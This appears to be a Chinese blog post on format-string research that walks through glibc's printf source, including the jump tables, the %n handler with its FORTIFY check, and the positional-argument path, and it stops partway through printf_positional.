格式化字符串研究–一次性写的秘密

相关定义

__printf

因为printf 函数,会调用__printf函数。我们直接来看该函数
它在/stdio-common/printf.c 中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

int
__printf (const char *format, ...)
{
va_list arg;
int done;

va_start (arg, format);
done = __vfprintf_internal (stdout, format, arg, 0);
va_end (arg);

return done;
}

#undef _IO_printf
ldbl_strong_alias (__printf, printf);
ldbl_strong_alias (__printf, _IO_printf);

可以看到,它主要就是调用了__vfprintf_internal函数,继续追踪

vfprintf_internal

这个文件在/stdio-common/vfprintf_internal.c

宏相关定义

在148行,有一个宏定义

1
# define vfprintf __vfprintf_internal

还有一个显然是占位符的一个表,看样子,还是有使用顺序的,对应的顺序里找对应的表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#define STEP0_3_TABLE							      \
/* Step 0: at the beginning. */ \
static JUMP_TABLE_TYPE step0_jumps[31] = \
{ \
REF (form_unknown), \
REF (flag_space), /* for ' ' */ \
REF (flag_plus), /* for '+' */ \
REF (flag_minus), /* for '-' */ \
REF (flag_hash), /* for '<hash>' */ \
REF (flag_zero), /* for '0' */ \
REF (flag_quote), /* for '\'' */ \
REF (width_asterics), /* for '*' */ \
REF (width), /* for '1'...'9' */ \
REF (precision), /* for '.' */ \
REF (mod_half), /* for 'h' */ \
REF (mod_long), /* for 'l' */ \
REF (mod_longlong), /* for 'L', 'q' */ \
REF (mod_size_t), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_character), /* for 'c' */ \
REF (form_string), /* for 's', 'S' */ \
REF (form_pointer), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_strerror), /* for 'm' */ \
REF (form_wcharacter), /* for 'C' */ \
REF (form_floathex), /* for 'A', 'a' */ \
REF (mod_ptrdiff_t), /* for 't' */ \
REF (mod_intmax_t), /* for 'j' */ \
REF (flag_i18n), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}; \
/* Step 1: after processing width. */ \
static JUMP_TABLE_TYPE step1_jumps[31] = \
{ \
REF (form_unknown), \
REF (form_unknown), /* for ' ' */ \
REF (form_unknown), /* for '+' */ \
REF (form_unknown), /* for '-' */ \
REF (form_unknown), /* for '<hash>' */ \
REF (form_unknown), /* for '0' */ \
REF (form_unknown), /* for '\'' */ \
REF (form_unknown), /* for '*' */ \
REF (form_unknown), /* for '1'...'9' */ \
REF (precision), /* for '.' */ \
REF (mod_half), /* for 'h' */ \
REF (mod_long), /* for 'l' */ \
REF (mod_longlong), /* for 'L', 'q' */ \
REF (mod_size_t), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_character), /* for 'c' */ \
REF (form_string), /* for 's', 'S' */ \
REF (form_pointer), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_strerror), /* for 'm' */ \
REF (form_wcharacter), /* for 'C' */ \
REF (form_floathex), /* for 'A', 'a' */ \
REF (mod_ptrdiff_t), /* for 't' */ \
REF (mod_intmax_t), /* for 'j' */ \
REF (form_unknown), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}; \
/* Step 2: after processing precision. */ \
static JUMP_TABLE_TYPE step2_jumps[31] = \
{ \
REF (form_unknown), \
REF (form_unknown), /* for ' ' */ \
REF (form_unknown), /* for '+' */ \
REF (form_unknown), /* for '-' */ \
REF (form_unknown), /* for '<hash>' */ \
REF (form_unknown), /* for '0' */ \
REF (form_unknown), /* for '\'' */ \
REF (form_unknown), /* for '*' */ \
REF (form_unknown), /* for '1'...'9' */ \
REF (form_unknown), /* for '.' */ \
REF (mod_half), /* for 'h' */ \
REF (mod_long), /* for 'l' */ \
REF (mod_longlong), /* for 'L', 'q' */ \
REF (mod_size_t), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_character), /* for 'c' */ \
REF (form_string), /* for 's', 'S' */ \
REF (form_pointer), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_strerror), /* for 'm' */ \
REF (form_wcharacter), /* for 'C' */ \
REF (form_floathex), /* for 'A', 'a' */ \
REF (mod_ptrdiff_t), /* for 't' */ \
REF (mod_intmax_t), /* for 'j' */ \
REF (form_unknown), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}; \
/* Step 3a: after processing first 'h' modifier. */ \
static JUMP_TABLE_TYPE step3a_jumps[31] = \
{ \
REF (form_unknown), \
REF (form_unknown), /* for ' ' */ \
REF (form_unknown), /* for '+' */ \
REF (form_unknown), /* for '-' */ \
REF (form_unknown), /* for '<hash>' */ \
REF (form_unknown), /* for '0' */ \
REF (form_unknown), /* for '\'' */ \
REF (form_unknown), /* for '*' */ \
REF (form_unknown), /* for '1'...'9' */ \
REF (form_unknown), /* for '.' */ \
REF (mod_halfhalf), /* for 'h' */ \
REF (form_unknown), /* for 'l' */ \
REF (form_unknown), /* for 'L', 'q' */ \
REF (form_unknown), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_unknown), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_unknown), /* for 'c' */ \
REF (form_unknown), /* for 's', 'S' */ \
REF (form_unknown), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_unknown), /* for 'm' */ \
REF (form_unknown), /* for 'C' */ \
REF (form_unknown), /* for 'A', 'a' */ \
REF (form_unknown), /* for 't' */ \
REF (form_unknown), /* for 'j' */ \
REF (form_unknown), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}; \
/* Step 3b: after processing first 'l' modifier. */ \
static JUMP_TABLE_TYPE step3b_jumps[31] = \
{ \
REF (form_unknown), \
REF (form_unknown), /* for ' ' */ \
REF (form_unknown), /* for '+' */ \
REF (form_unknown), /* for '-' */ \
REF (form_unknown), /* for '<hash>' */ \
REF (form_unknown), /* for '0' */ \
REF (form_unknown), /* for '\'' */ \
REF (form_unknown), /* for '*' */ \
REF (form_unknown), /* for '1'...'9' */ \
REF (form_unknown), /* for '.' */ \
REF (form_unknown), /* for 'h' */ \
REF (mod_longlong), /* for 'l' */ \
REF (form_unknown), /* for 'L', 'q' */ \
REF (form_unknown), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_character), /* for 'c' */ \
REF (form_string), /* for 's', 'S' */ \
REF (form_pointer), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_strerror), /* for 'm' */ \
REF (form_wcharacter), /* for 'C' */ \
REF (form_floathex), /* for 'A', 'a' */ \
REF (form_unknown), /* for 't' */ \
REF (form_unknown), /* for 'j' */ \
REF (form_unknown), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}

#define STEP4_TABLE \
/* Step 4: processing format specifier. */ \
static JUMP_TABLE_TYPE step4_jumps[31] = \
{ \
REF (form_unknown), \
REF (form_unknown), /* for ' ' */ \
REF (form_unknown), /* for '+' */ \
REF (form_unknown), /* for '-' */ \
REF (form_unknown), /* for '<hash>' */ \
REF (form_unknown), /* for '0' */ \
REF (form_unknown), /* for '\'' */ \
REF (form_unknown), /* for '*' */ \
REF (form_unknown), /* for '1'...'9' */ \
REF (form_unknown), /* for '.' */ \
REF (form_unknown), /* for 'h' */ \
REF (form_unknown), /* for 'l' */ \
REF (form_unknown), /* for 'L', 'q' */ \
REF (form_unknown), /* for 'z', 'Z' */ \
REF (form_percent), /* for '%' */ \
REF (form_integer), /* for 'd', 'i' */ \
REF (form_unsigned), /* for 'u' */ \
REF (form_octal), /* for 'o' */ \
REF (form_hexa), /* for 'X', 'x' */ \
REF (form_float), /* for 'E', 'e', 'F', 'f', 'G', 'g' */ \
REF (form_character), /* for 'c' */ \
REF (form_string), /* for 's', 'S' */ \
REF (form_pointer), /* for 'p' */ \
REF (form_number), /* for 'n' */ \
REF (form_strerror), /* for 'm' */ \
REF (form_wcharacter), /* for 'C' */ \
REF (form_floathex), /* for 'A', 'a' */ \
REF (form_unknown), /* for 't' */ \
REF (form_unknown), /* for 'j' */ \
REF (form_unknown), /* for 'I' */ \
REF (form_binary), /* for 'B', 'b' */ \
}

LABEL (form_number)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
LABEL (form_number):						      \
if ((mode_flags & PRINTF_FORTIFY) != 0) \
{ \
if (! readonly_format) \
{ \
extern int __readonly_area (const void *, size_t) \
attribute_hidden; \
readonly_format \
= __readonly_area (format, ((STR_LEN (format) + 1) \
* sizeof (CHAR_T))); \
} \
if (readonly_format < 0) \
__libc_fatal ("*** %n in writable segment detected ***\n"); \
} \
/* Answer the count of characters written. */ \
void *ptrptr = process_arg_pointer (); \
if (is_longlong) \
*(long long int *) ptrptr = done; \
else if (is_long_num) \
*(long int *) ptrptr = done; \
else if (is_char) \
*(char *) ptrptr = done; \
else if (!is_short) \
*(int *) ptrptr = done; \
else \
*(short int *) ptrptr = done; \
break;

LABEL(unknow)

1
2
3
4
5
6
7
8
9
10
11
12
13
LABEL (form_unknown):
if (spec == L_('\0'))
{
/* The format string ended before the specifier is complete. */
__set_errno (EINVAL);
done = -1;
goto all_done;
}

/* If we are in the fast loop force entering the complicated
one. */
goto do_positional;

所以继续分析vfprintf 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
/* The character used as thousands separator. */
THOUSANDS_SEP_T thousands_sep = 0;

/* The string describing the size of groups of digits. */
const char *grouping;

/* Place to accumulate the result. */
int done;

/* Current character in format string. */
const UCHAR_T *f;

/* End of leading constant string. */
const UCHAR_T *lead_str_end;

/* Points to next format specifier. */
const UCHAR_T *end_of_spec;

/* Buffer intermediate results. */
CHAR_T work_buffer[WORK_BUFFER_SIZE];
CHAR_T *workend;

/* We have to save the original argument pointer. */
va_list ap_save;

/* Count number of specifiers we already processed. */
int nspecs_done;

/* For the %m format we may need the current `errno' value. */
int save_errno = errno;

/* 1 if format is in read-only memory, -1 if it is in writable memory,
0 if unknown. */
int readonly_format = 0;

/* Orient the stream. */
#ifdef ORIENT
ORIENT;
#endif

/* Sanity check of arguments. */
ARGCHECK (s, format);

#ifdef ORIENT
/* Check for correct orientation. */
if (_IO_vtable_offset (s) == 0
&& _IO_fwide (s, sizeof (CHAR_T) == 1 ? -1 : 1)
!= (sizeof (CHAR_T) == 1 ? -1 : 1))
/* The stream is already oriented otherwise. */
return EOF;
#endif

if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
return buffered_vfprintf (s, format, ap, mode_flags);

/* Initialize local variables. */
done = 0;
grouping = (const char *) -1;
#ifdef __va_copy
/* This macro will be available soon in gcc's <stdarg.h>. We need it
since on some systems `va_list' is not an integral type. */
__va_copy (ap_save, ap);
#else
ap_save = ap;
#endif
nspecs_done = 0;

#ifdef COMPILE_WPRINTF
/* Find the first format specifier. */
f = lead_str_end = __find_specwc ((const UCHAR_T *) format);
#else
/* Find the first format specifier. */
f = lead_str_end = __find_specmb ((const UCHAR_T *) format);
#endif

/* Lock stream. */
_IO_cleanup_region_start ((void (*) (void *)) &_IO_funlockfile, s);
_IO_flockfile (s);

/* Write the literal text before the first format. */
outstring ((const UCHAR_T *) format,
lead_str_end - (const UCHAR_T *) format);

/* If we only have to print a simple string, return now. */
if (*f == L_('\0'))
goto all_done;

/* Use the slow path in case any printf handler is registered. */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

/* Process whole format string. */
do
{
STEP0_3_TABLE;
STEP4_TABLE;

int is_negative; /* Flag for negative number. */
union
{
unsigned long long int longlong;
unsigned long int word;
} number;
int base;
union printf_arg the_arg;
CHAR_T *string; /* Pointer to argument string. */
int alt = 0; /* Alternate format. */
int space = 0; /* Use space prefix if no sign is needed. */
int left = 0; /* Left-justify output. */
int showsign = 0; /* Always begin with plus or minus sign. */
int group = 0; /* Print numbers according grouping rules. */
/* Argument is long double/long long int. Only used if
double/long double or long int/long long int are distinct. */
int is_long_double __attribute__ ((unused)) = 0;
int is_short = 0; /* Argument is short int. */
int is_long = 0; /* Argument is long int. */
int is_char = 0; /* Argument is promoted (unsigned) char. */
int width = 0; /* Width of output; 0 means none specified. */
int prec = -1; /* Precision of output; -1 means none specified. */
/* This flag is set by the 'I' modifier and selects the use of the
`outdigits' as determined by the current locale. */
int use_outdigits = 0;
UCHAR_T pad = L_(' ');/* Padding character. */
CHAR_T spec;

workend = work_buffer + WORK_BUFFER_SIZE;

/* Get current character in format string. */
JUMP (*++f, step0_jumps);

/* ' ' flag. */
LABEL (flag_space):
space = 1;
JUMP (*++f, step0_jumps);

/* '+' flag. */
LABEL (flag_plus):
showsign = 1;
JUMP (*++f, step0_jumps);

/* The '-' flag. */
LABEL (flag_minus):
left = 1;
pad = L_(' ');
JUMP (*++f, step0_jumps);

/* The '#' flag. */
LABEL (flag_hash):
alt = 1;
JUMP (*++f, step0_jumps);

/* The '0' flag. */
LABEL (flag_zero):
if (!left)
pad = L_('0');
JUMP (*++f, step0_jumps);

/* The '\'' flag. */
LABEL (flag_quote):
group = 1;

if (grouping == (const char *) -1)
{
#ifdef COMPILE_WPRINTF
thousands_sep = _NL_CURRENT_WORD (LC_NUMERIC,
_NL_NUMERIC_THOUSANDS_SEP_WC);
#else
thousands_sep = _NL_CURRENT (LC_NUMERIC, THOUSANDS_SEP);
#endif

grouping = _NL_CURRENT (LC_NUMERIC, GROUPING);
if (*grouping == '\0' || *grouping == CHAR_MAX
#ifdef COMPILE_WPRINTF
|| thousands_sep == L'\0'
#else
|| *thousands_sep == '\0'
#endif
)
grouping = NULL;
}
JUMP (*++f, step0_jumps);

LABEL (flag_i18n):
use_outdigits = 1;
JUMP (*++f, step0_jumps);

/* Get width from argument. */
LABEL (width_asterics):
{
const UCHAR_T *tmp; /* Temporary value. */

tmp = ++f;
if (ISDIGIT (*tmp))
{
int pos = read_int (&tmp);

if (pos == -1)
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}

if (pos && *tmp == L_('$'))
/* The width comes from a positional parameter. */
goto do_positional;
}
width = va_arg (ap, int);

/* Negative width means left justified. */
if (width < 0)
{
width = -width;
pad = L_(' ');
left = 1;
}
}
JUMP (*f, step1_jumps);

/* Given width in format string. */
LABEL (width):
width = read_int (&f);

if (__glibc_unlikely (width == -1))
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}

if (*f == L_('$'))
/* Oh, oh. The argument comes from a positional parameter. */
goto do_positional;
JUMP (*f, step1_jumps);

LABEL (precision):
++f;
if (*f == L_('*'))
{
const UCHAR_T *tmp; /* Temporary value. */

tmp = ++f;
if (ISDIGIT (*tmp))
{
int pos = read_int (&tmp);

if (pos == -1)
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}

if (pos && *tmp == L_('$'))
/* The precision comes from a positional parameter. */
goto do_positional;
}
prec = va_arg (ap, int);

/* If the precision is negative the precision is omitted. */
if (prec < 0)
prec = -1;
}
else if (ISDIGIT (*f))
{
prec = read_int (&f);

/* The precision was specified in this case as an extremely
large positive value. */
if (prec == -1)
{
__set_errno (EOVERFLOW);
done = -1;
goto all_done;
}
}
else
prec = 0;
JUMP (*f, step2_jumps);

/* Process 'h' modifier. There might another 'h' following. */
LABEL (mod_half):
is_short = 1;
JUMP (*++f, step3a_jumps);

/* Process 'hh' modifier. */
LABEL (mod_halfhalf):
is_short = 0;
is_char = 1;
JUMP (*++f, step4_jumps);

/* Process 'l' modifier. There might another 'l' following. */
LABEL (mod_long):
is_long = 1;
JUMP (*++f, step3b_jumps);

/* Process 'L', 'q', or 'll' modifier. No other modifier is
allowed to follow. */
LABEL (mod_longlong):
is_long_double = 1;
is_long = 1;
JUMP (*++f, step4_jumps);

LABEL (mod_size_t):
is_long_double = sizeof (size_t) > sizeof (unsigned long int);
is_long = sizeof (size_t) > sizeof (unsigned int);
JUMP (*++f, step4_jumps);

LABEL (mod_ptrdiff_t):
is_long_double = sizeof (ptrdiff_t) > sizeof (unsigned long int);
is_long = sizeof (ptrdiff_t) > sizeof (unsigned int);
JUMP (*++f, step4_jumps);

LABEL (mod_intmax_t):
is_long_double = sizeof (intmax_t) > sizeof (unsigned long int);
is_long = sizeof (intmax_t) > sizeof (unsigned int);
JUMP (*++f, step4_jumps);

/* Process current format. */
while (1)
{
#define process_arg_int() va_arg (ap, int)
#define process_arg_long_int() va_arg (ap, long int)
#define process_arg_long_long_int() va_arg (ap, long long int)
#define process_arg_pointer() va_arg (ap, void *)
#define process_arg_string() va_arg (ap, const char *)
#define process_arg_unsigned_int() va_arg (ap, unsigned int)
#define process_arg_unsigned_long_int() va_arg (ap, unsigned long int)
#define process_arg_unsigned_long_long_int() va_arg (ap, unsigned long long int)
#define process_arg_wchar_t() va_arg (ap, wchar_t)
#define process_arg_wstring() va_arg (ap, const wchar_t *)
process_arg ();
process_string_arg ();
#undef process_arg_int
#undef process_arg_long_int
#undef process_arg_long_long_int
#undef process_arg_pointer
#undef process_arg_string
#undef process_arg_unsigned_int
#undef process_arg_unsigned_long_int
#undef process_arg_unsigned_long_long_int
#undef process_arg_wchar_t
#undef process_arg_wstring

LABEL (form_float):
LABEL (form_floathex):
{
if (__glibc_unlikely ((mode_flags & PRINTF_LDBL_IS_DBL) != 0))
is_long_double = 0;

struct printf_info info =
{
.prec = prec,
.width = width,
.spec = spec,
.is_long_double = is_long_double,
.is_short = is_short,
.is_long = is_long,
.alt = alt,
.space = space,
.left = left,
.showsign = showsign,
.group = group,
.pad = pad,
.extra = 0,
.i18n = use_outdigits,
.wide = sizeof (CHAR_T) != 1,
.is_binary128 = 0
};

PARSE_FLOAT_VA_ARG_EXTENDED (info);
const void *ptr = &the_arg;

int function_done = __printf_fp_spec (s, &info, &ptr);
if (function_done < 0)
{
done = -1;
goto all_done;
}
done_add (function_done);
}
break;

LABEL (form_unknown):
if (spec == L_('\0'))
{
/* The format string ended before the specifier is complete. */
__set_errno (EINVAL);
done = -1;
goto all_done;
}

/* If we are in the fast loop force entering the complicated
one. */
goto do_positional;
}

/* The format is correctly handled. */
++nspecs_done;

/* Look for next format specifier. */
#ifdef COMPILE_WPRINTF
f = __find_specwc ((end_of_spec = ++f));
#else
f = __find_specmb ((end_of_spec = ++f));
#endif

/* Write the following constant string. */
outstring (end_of_spec, f - end_of_spec);
}
while (*f != L_('\0'));

/* Unlock stream and return. */
goto all_done;

/* Hand off processing for positional parameters. */
do_positional:
done = printf_positional (s, format, readonly_format, ap, &ap_save,
done, nspecs_done, lead_str_end, work_buffer,
save_errno, grouping, thousands_sep, mode_flags);

all_done:
/* Unlock the stream. */
_IO_funlockfile (s);
_IO_cleanup_region_end (0);

return done;
}

printf_positional

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
static int
printf_positional (FILE *s, const CHAR_T *format, int readonly_format,
va_list ap, va_list *ap_savep, int done, int nspecs_done,
const UCHAR_T *lead_str_end,
CHAR_T *work_buffer, int save_errno,
const char *grouping, THOUSANDS_SEP_T thousands_sep,
unsigned int mode_flags)
{
/* For positional argument handling. */
struct scratch_buffer specsbuf;
scratch_buffer_init (&specsbuf);
struct printf_spec *specs = specsbuf.data;
size_t specs_limit = specsbuf.length / sizeof (specs[0]);

/* Used as a backing store for args_value, args_size, args_type
below. */
struct scratch_buffer argsbuf;
scratch_buffer_init (&argsbuf);

/* Array with information about the needed arguments. This has to
be dynamically extensible. */
size_t nspecs = 0;

/* The number of arguments the format string requests. This will
determine the size of the array needed to store the argument
attributes. */
size_t nargs = 0;

/* Positional parameters refer to arguments directly. This could
also determine the maximum number of arguments. Track the
maximum number. */
size_t max_ref_arg = 0;

/* Just a counter. */
size_t cnt;

if (grouping == (const char *) -1)
{
#ifdef COMPILE_WPRINTF
thousands_sep = _NL_CURRENT_WORD (LC_NUMERIC,
_NL_NUMERIC_THOUSANDS_SEP_WC);
#else
thousands_sep = _NL_CURRENT (LC_NUMERIC, THOUSANDS_SEP);
#endif

grouping = _NL_CURRENT (LC_NUMERIC, GROUPING);
if (*grouping == '\0' || *grouping == CHAR_MAX)
grouping = NULL;
}

for (const UCHAR_T *f = lead_str_end; *f != L_('\0');
f = specs[nspecs++].next_fmt)
{
if (nspecs == specs_limit)
{
if (!scratch_buffer_grow_preserve (&specsbuf))
{
done = -1;
goto all_done;
}
specs = specsbuf.data;
specs_limit = specsbuf.length / sizeof (specs[0]);
}

/* Parse the format specifier. */
#ifdef COMPILE_WPRINTF
nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg);
#else
nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg);
#endif
}

/* Determine the number of arguments the format string consumes. */
nargs = MAX (nargs, max_ref_arg);

union printf_arg *args_value;
int *args_size;
int *args_type;
{
/* Calculate total size needed to represent a single argument
across all three argument-related arrays. */
size_t bytes_per_arg
= sizeof (*args_value) + sizeof (*args_size) + sizeof (*args_type);
if (!scratch_buffer_set_array_size (&argsbuf, nargs, bytes_per_arg))
{
done = -1;
goto all_done;
}
args_value = argsbuf.data;
/* Set up the remaining two arrays to each point past the end of
the prior array, since space for all three has been allocated
now. */
args_size = &args_value[nargs].pa_int;
args_type = &args_size[nargs];
memset (args_type, (mode_flags & PRINTF_FORTIFY) != 0 ? '\xff' : '\0',
nargs * sizeof (*args_type));
}

/* XXX Could do sanity check here: If any element in ARGS_TYPE is
still zero after this loop, format is invalid. For now we
simply use 0 as the value. */

/* Fill in the types of all the arguments. */
for (cnt = 0; cnt < nspecs; ++cnt)
{
/* If the width is determined by an argument this is an int. */
if (specs[cnt].width_arg != -1)
args_type[specs[cnt].width_arg] = PA_INT;

/* If the precision is determined by an argument this is an int. */
if (specs[cnt].prec_arg != -1)
args_type[specs[cnt].prec_arg] = PA_INT;

switch (specs[cnt].ndata_args)
{
case 0: /* No arguments. */
break;
case 1: /* One argument; we already have the
type and size. */
args_type[specs[cnt].data_arg] = specs[cnt].data_arg_type;
args_size[specs[cnt].data_arg] = specs[cnt].size;
break;
default:
/* We have more than one argument for this format spec.
We must call the arginfo function again to determine
all the types. */
(void) (*__printf_arginfo_table[specs[cnt].info.spec])
(&specs[cnt].info,
specs[cnt].ndata_args, &args_type[specs[cnt].data_arg],
&args_size[specs[cnt].data_arg]);
break;
}
}

/* Now we know all the types and the order. Fill in the argument
values. */
for (cnt = 0; cnt < nargs; ++cnt)
switch (args_type[cnt])
{
#define T(tag, mem, type) \
case tag: \
args_value[cnt].mem = va_arg (*ap_savep, type); \
break

T (PA_WCHAR, pa_wchar, wint_t);
case PA_CHAR: /* Promoted. */
case PA_INT|PA_FLAG_SHORT: /* Promoted. */
#if LONG_MAX == INT_MAX
case PA_INT|PA_FLAG_LONG:
#endif
T (PA_INT, pa_int, int);
#if LONG_MAX == LONG_LONG_MAX
case PA_INT|PA_FLAG_LONG:
#endif
T (PA_INT|PA_FLAG_LONG_LONG, pa_long_long_int, long long int);
#if LONG_MAX != INT_MAX && LONG_MAX != LONG_LONG_MAX
# error "he?"
#endif
case PA_FLOAT: /* Promoted. */
T (PA_DOUBLE, pa_double, double);
case PA_DOUBLE|PA_FLAG_LONG_DOUBLE:
if (__glibc_unlikely ((mode_flags & PRINTF_LDBL_IS_DBL) != 0))
{
args_value[cnt].pa_double = va_arg (*ap_savep, double);
args_type[cnt] &= ~PA_FLAG_LONG_DOUBLE;
}
#if __HAVE_FLOAT128_UNLIKE_LDBL
else if ((mode_flags & PRINTF_LDBL_USES_FLOAT128) != 0)
args_value[cnt].pa_float128 = va_arg (*ap_savep, _Float128);
#endif
else
args_value[cnt].pa_long_double = va_arg (*ap_savep, long double);
break;
case PA_STRING: /* All pointers are the same */
case PA_WSTRING: /* All pointers are the same */
T (PA_POINTER, pa_pointer, void *);
#undef T
default:
if ((args_type[cnt] & PA_FLAG_PTR) != 0)
args_value[cnt].pa_pointer = va_arg (*ap_savep, void *);
else if (__glibc_unlikely (__printf_va_arg_table != NULL)
&& __printf_va_arg_table[args_type[cnt] - PA_LAST] != NULL)
{
args_value[cnt].pa_user = alloca (args_size[cnt]);
(*__printf_va_arg_table[args_type[cnt] - PA_LAST])
(args_value[cnt].pa_user, ap_savep);
}
else
memset (&args_value[cnt], 0, sizeof (args_value[cnt]));
break;
case -1:
/* Error case. Not all parameters appear in N$ format
strings. We have no way to determine their type. */
assert ((mode_flags & PRINTF_FORTIFY) != 0);
__libc_fatal ("*** invalid %N$ use detected ***\n");
}

/* Now walk through all format specifiers and process them. */
for (; (size_t) nspecs_done < nspecs; ++nspecs_done)
{
